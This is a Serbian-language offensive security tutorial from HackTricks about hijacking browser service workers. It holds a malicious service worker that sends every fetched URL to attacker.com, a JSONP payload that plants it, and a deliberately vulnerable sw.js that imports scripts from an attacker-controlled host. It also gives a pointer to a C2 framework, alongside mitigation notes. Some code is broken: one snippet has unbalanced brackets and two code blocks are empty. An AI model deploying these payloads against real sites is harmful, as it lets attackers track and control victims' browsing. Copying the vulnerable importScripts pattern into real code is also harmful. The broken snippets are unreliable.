# Zloupotreba servisnih radnika
Naučite hakovanje AWS-a od nule do heroja sahtARTE (HackTricks AWS Red Team Expert)!
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF-u**? Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova** na [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
**Try Hard Security Group**
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Osnovne informacije
**Servisni radnik** je skripta koju vaš pregledač pokreće u pozadini, odvojeno od bilo koje veb stranice, omogućavajući funkcije koje ne zahtevaju veb stranicu ili interakciju korisnika, čime se poboljšavaju mogućnosti **offline i obrade u pozadini**. Detaljne informacije o servisnim radnicima mogu se pronaći [ovde](https://developers.google.com/web/fundamentals/primers/service-workers). Iskorišćavanjem servisnih radnika unutar ranjive veb domene, napadači mogu preuzeti kontrolu nad interakcijama žrtve sa svim stranicama unutar te domene.
### Provera postojanja servisnih radnika
Postojeće servisne radnike možete proveriti u odeljku **Servisni radnici** u kartici **Aplikacija** u **Alatkama za razvoj**. Drugi način je posetiti [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals) za detaljniji prikaz.
### Obaveštenja o guranju
**Dozvole za obaveštenja o guranju** direktno utiču na sposobnost **servisnog radnika** da komunicira sa serverom bez direktnog korisničkog interakcije. Ako su dozvole odbijene, ograničava potencijal servisnog radnika da predstavlja kontinuiranu pretnju. Nasuprot tome, davanje dozvola povećava rizike bezbednosti omogućavajući prijem i izvršenje potencijalnih eksploatacija.
## Napad kreiranja servisnog radnika
Da biste iskoristili ovu ranjivost, morate pronaći:
* Način za **učitavanje proizvoljnih JS** fajlova na server i **XSS za učitavanje servisnog radnika** učitanog JS fajla
* **Ranjiv JSONP zahtev** gde možete **manipulisati izlazom (sa proizvoljnim JS kodom)** i **XSS** za **učitavanje JSONP-a sa payloadom** koji će **učitati zlonamernog servisnog radnika**.
U sledećem primeru ću prikazati kod za **registrovanje novog servisnog radnika** koji će osluškivati događaj `fetch` i **slati serveru napadača svaki preuzeti URL** (ovo je kod koji biste trebali **učitati** na **server** ili učitati putem **ranjivog JSONP** odgovora):
```javascript
self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url)
});
```
I ovo je kod koji će **registrovati radnika** (kod koji biste trebali moći da izvršite zloupotrebom **XSS**-a). U ovom slučaju će **GET** zahtev biti poslat **napadačevom** serveru **obaveštavajući** da li je **registracija** servisnog radnika bila uspešna ili ne:
```javascript
```
U slučaju zloupotrebe ranjive JSONP tačke, trebalo bi da stavite vrednost unutar `var sw`. Na primer:
```javascript
var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";
```
Postoji **C2** posvećen **eksploataciji servisnih radnika** nazvan [**Shadow Workers**](https://shadow-workers.github.io) koji će biti vrlo koristan za zloupotrebu ovih ranjivosti.
Direktiva **keša od 24 sata** ograničava život zlonamernog ili kompromitovanog **servisnog radnika (SW)** na najviše 24 sata nakon popravke ranjivosti XSS-a, uz pretpostavku statusa online klijenta. Da bi se smanjila ranjivost, operateri sajtova mogu smanjiti vreme života skripte SW-a (TTL). Razvojni programeri takođe se savetuju da kreiraju [**prekidač za gašenje servisnog radnika**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) za brzo deaktiviranje.
## Zloupotreba `importScripts` u SW putem DOM Clobbering
Funkcija **`importScripts`** pozvana iz Servisnog Radnika može **uvoziti skriptu sa različite domene**. Ako se ova funkcija pozove koristeći **parametar koji napadač može** izmeniti, on bi mogao **uvoziti JS skriptu sa svoje domene** i dobiti XSS.
**Ovo čak zaobilazi zaštitu CSP-a.**
**Primer ranjivog koda:**
* **index.html**
```html
```
* **sw.js**
```javascript
const searchParams = new URLSearchParams(location.search);
let host = searchParams.get('host');
self.importScripts(host + "/sw_extra.js");
//host can be controllable by an attacker
```
### Sa DOM Clobbering-om
Za više informacija o tome šta je DOM Clobbering, pogledajte:
{% content-ref url="dom-clobbering.md" %}
[dom-clobbering.md](dom-clobbering.md)
{% endcontent-ref %}
Ako je URL/domenu gde SW koristi **`importScripts`** unutar HTML elementa, moguće je izmeniti ga putem DOM Clobbering-a kako bi SW učitao skriptu sa vaše sopstvene domene.
Za primer pogledajte referentni link.
## Reference
* [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
**Try Hard Security Group**
{% embed url="https://discord.gg/tryhardsecurity" %}
Naučite hakovanje AWS-a od nule do heroja sahtARTE (HackTricks AWS Red Team Expert)!
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristup **najnovijoj verziji PEASS-a ili preuzimanje HackTricks-a u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**hacktricks repozitorijum**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijum**](https://github.com/carlospolop/hacktricks-cloud).